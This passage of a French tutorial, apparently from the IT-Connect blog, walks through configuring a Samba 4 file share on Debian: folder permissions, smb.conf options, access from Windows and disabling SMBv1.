<p>Le partage va être hébergé à l'emplacement "/srv/partage" de notre serveur. Commençons par créer le dossier :</p>
<pre>mkdir /srv/partage</pre>
<p>Ensuite, on va attribuer le groupe "<em>partage</em>" comme groupe propriétaire de ce dossier :</p>
<pre>chgrp -R partage /srv/partage/</pre>
<p>Puis, nous allons ajouter les droits de lecture/écriture à ce groupe sur ce dossier :</p>
<pre>chmod -R g+rw /srv/partage/</pre>
<p>On peut vérifier la configuration des droits avec la commande suivante :</p>
<pre>ls -l /srv/</pre>
<figure id="attachment_46416" aria-describedby="caption-attachment-46416" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46416 size-full" src="media/a766649f.tutoriel-debian-samba-serveur-de-fichiers-05.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05.png" alt="Préparer le dossier du partage Samba" width="800" height="80" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05-550x55.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05-150x15.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05-768x77.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05-160x16.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-05-50x5.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46416" class="wp-caption-text">Préparer le dossier du partage Samba</figcaption></figure>
<p>Tout est prêt, nous pouvons tester depuis un poste client mais avant cela lisez le point suivant.</p>
<h3>D. Le partage [homes] de Samba</h3>
<p>Dans sa configuration par défaut, Samba dispose d'un partage nommé <strong>[homes]</strong>. En fait, il ne s'agit pas réellement d'un partage nommé "homes" mais cette configuration spécifique permet de <strong>créer un partage personnel pour chaque utilisateur qui se connecte sur votre machine Linux</strong>.</p>
<p>De cette façon, l'utilisateur "it-connect" dispose d'un partage personnel (correspondant à son dossier personnel définit au niveau de Linux) accessible à l'adresse suivante :</p>
<pre>\\&lt;nom-du-serveur&gt;\it-connect</pre>
<p>Il faut savoir que, par défaut, ces partages sont accessibles en lecture seule et l'utilisateur ne voit que son propre partage, après s'être authentifié au serveur.</p>
<p>Si vous souhaitez désactiver ces partages car vous n'en avez pas l'utilité, il suffit de commenter les différentes lignes (la ligne [homes] ainsi que les directives en dessous) dans le fichier smb.conf et de redémarrer le service Samba.</p>
<p><img class="aligncenter size-full wp-image-46627" src="media/99e36486.samba-partage-homes.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes.png" alt="" width="800" height="402" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes-550x276.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes-768x386.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes-160x80.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/samba-partage-homes-50x25.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>IV. Accéder au partage Samba depuis Windows</h2>
<p>Pour tester l'accès au partage, j'ai pris une machine Windows mais j'aurais pu utiliser un client sous Linux également. Pour accéder au partage, il y a plusieurs possibilités : à partir de l'explorateur de fichiers Windows, d'un lecteur réseau, de la commande net use voire même <em>New-PSDrive</em> en PowerShell.</p>
<figure id="attachment_46421" aria-describedby="caption-attachment-46421" style="width: 613px" class="wp-caption aligncenter"><img class="wp-image-46421 size-full" src="media/cae44f96.tutoriel-debian-samba-serveur-de-fichiers-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10.png" alt="Exemple - Connecter un lecteur réseau sous Windows" width="613" height="447" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10.png 613w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10-550x401.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10-150x109.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10-160x117.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-10-50x36.png 50w" sizes="(max-width: 613px) 100vw, 613px" /><figcaption id="caption-attachment-46421" class="wp-caption-text">Exemple - Connecter un lecteur réseau sous Windows</figcaption></figure>
<p>Utilisons la méthode la plus courante pour accéder à un partage :<strong> un chemin UNC directement dans la barre d'adresse de l'Explorateur de fichiers.</strong> Pour ma part, ma machine se nomme "debian-11", ce qui donne :</p>
<pre>\\debian-11\partage</pre>
<p><em>Note : vous pouvez utiliser l'adresse IP à la place du nom si vous rencontrez des difficultés.</em></p>
<figure id="attachment_46417" aria-describedby="caption-attachment-46417" style="width: 623px" class="wp-caption aligncenter"><img class="wp-image-46417 size-full" src="media/8e6249cb.tutoriel-debian-samba-serveur-de-fichiers-06.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06.png" alt="Accéder au partage Samba depuis Windows" width="623" height="309" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06.png 623w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06-550x273.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06-160x79.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-06-50x25.png 50w" sizes="(max-width: 623px) 100vw, 623px" /><figcaption id="caption-attachment-46417" class="wp-caption-text">Accéder au partage Samba depuis Windows</figcaption></figure>
<p>Le message accès refusé apparaît, c'est normal, car je dois m'authentifier, donc j'utilise le compte "<em>it-connect</em>" et le mot de passe saisit lors de l'exécution de la commande "<em>smbpasswd</em>".</p>
<p><img class="aligncenter size-full wp-image-46418" src="media/76f27145.tutoriel-debian-samba-serveur-de-fichiers-07.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07.png" alt="" width="758" height="561" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07.png 758w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07-550x407.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07-150x111.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07-160x118.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-07-50x37.png 50w" sizes="(max-width: 758px) 100vw, 758px" /></p>
<p>Parfait ! <strong>J'accède bien à mon partage Samba depuis Windows !</strong> Je peux même créer un fichier puisque j'ai accès en lecture / écriture.</p>
<p><img class="aligncenter size-full wp-image-46419" src="media/e456181f.tutoriel-debian-samba-serveur-de-fichiers-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08.png" alt="" width="800" height="310" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08-550x213.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08-768x298.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08-160x62.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-08-50x19.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Sur le serveur Linux, on peut lister le contenu de notre partage :</p>
<pre>ls -l /srv/partage/</pre>
<p><img class="aligncenter size-full wp-image-46420" src="media/e2aefcde.tutoriel-debian-samba-serveur-de-fichiers-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09.png" alt="" width="801" height="49" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09.png 801w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09-550x34.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09-150x9.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09-768x47.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09-160x10.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-09-50x3.png 50w" sizes="(max-width: 801px) 100vw, 801px" /></p>
<p><strong>Il n'y a pas quelque chose qui vous choc ?</strong></p>
<p>Si l'on regarde les droits du fichier "<em>IT-Connect.txt</em>", on peut voir que l'utilisateur propriétaire est "<em>it-connect</em>" et que le groupe propriétaire est "<em>it-connect</em>" également. En bref, <strong>il n'y a que l'utilisateur "<em>it-connect</em>" qui peut modifier ce fichier.</strong> Les autres utilisateurs pourront seulement le lire.</p>
<p>C'est gênant, car l'objectif c'est que plusieurs utilisateurs puissent accéder à ce partage et travailler sur les mêmes fichiers et dossiers. Nous allons voir comment ajuster la configuration de notre partage dans Samba.</p>
<h2>V. Améliorer la gestion des droits sur le partage Samba</h2>
<p>Au sein du fichier <em>smb.conf</em> et de notre bloc [partage], nous allons ajouter trois options :</p>
<pre>create mask = 0660
directory mask = 0770
force group = partage</pre>
<p>- L'option "<strong>create mask</strong>" va permettre de définir les droits par défaut sur les fichiers (lecture/écriture pour l'utilisateur propriétaire et le groupe propriétaire seulement)</p>
<p>- L'option "<strong>directory mask</strong>" va permettre de définir les droits par défaut sur les dossiers</p>
<p>- L'option "<strong>force group</strong>" va permettre de forcer le groupe "partage" comme groupe propriétaire des fichiers et dossiers</p>
<p>Ce qui donne :</p>
<pre>[partage]
   comment = Partage de données
   path = /srv/partage
   guest ok = no
   read only = no
   browsable = yes
   valid users = @partage
<span style="color: #00ffff;">   create mask = 0660
   directory mask = 0770
   force group = partage</span></pre>
<p>Une fois cet ajustement effectué, sauvegardez la configuration et redémarrez le service :</p>
<pre>systemctl restart smbd</pre>
<p>Ensuite, <strong>les droits sur les <span style="text-decoration: underline;">nouveaux</span> dossiers et fichiers</strong> permettront la collaboration entre plusieurs utilisateurs :</p>
<p><img class="aligncenter size-full wp-image-46425" src="media/03afb81e.tutoriel-debian-samba-serveur-de-fichiers-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11.png" alt="" width="798" height="80" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11.png 798w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11-550x55.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11-150x15.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11-768x77.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11-160x16.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-11-50x5.png 50w" sizes="(max-width: 798px) 100vw, 798px" /></p>
<h2>VI. Désactiver le SMB v1 sur Samba</h2>
<p>Pour des raisons de sécurité (voir article ci-dessous), je vous rappelle qu'il est déconseillé d'utiliser le protocole SMB v1. C'est pour cette raison que nous allons <strong>configurer le serveur Samba de manière à désactiver le SMB v1</strong>.</p>
<p>Retournez dans le fichier "<em>smb.conf</em>" et sous le bloc <strong>[global]</strong>, ajoutez ces deux lignes :</p>
<pre>min protocol = SMB2
client min protocol = SMB2</pre>
<figure id="attachment_46434" aria-describedby="caption-attachment-46434" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46434 size-full" src="media/c291de1d.tutoriel-debian-samba-serveur-de-fichiers-12.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12.png" alt="smb.conf - &quot;min protocol&quot; et &quot;client min protocol&quot;" width="800" height="459" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12-550x316.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12-768x441.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12-160x92.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-12-50x29.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46434" class="wp-caption-text">smb.conf - "min protocol" et "client min protocol"</figcaption></figure>
<p>Cela va permettre d'<strong>imposer le SMB v2 comme version minimale</strong> pour négocier une connexion SMB avec notre serveur Samba. Si vous souhaitez imposer le SMB v3, remplacez "<em>SMB2</em>" par "<em>SMB3</em>".</p>
<h2>VII. Découvrir le protocole SMB</h2>
<p>Le partage de fichiers avec Samba s'appuie sur le protocole SMB, mais connaissez-vous réellement ce protocole ? Je vous propose une introduction avec mon article "<a href="https://www.it-connect.fr/le-protocole-smb-pour-les-debutants/" target="_blank" rel="noopener"><strong>Le protocole SMB pour les débutants</strong></a>", disponible également au format vidéo.</p>
<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/j9ychSUygBI" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>Pour finir, voici le lien vers la <a href="https://www.samba.org/samba/docs/current/man-html/smb.conf.5.html" target="_blank" rel="nofollow noopener">documentation de Samba</a> pour aller plus loin.</p>The post <a href="https://www.it-connect.fr/serveur-de-fichiers-debian-installer-et-configurer-samba-4/">Serveur de fichiers Debian : installer et configurer Samba 4</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


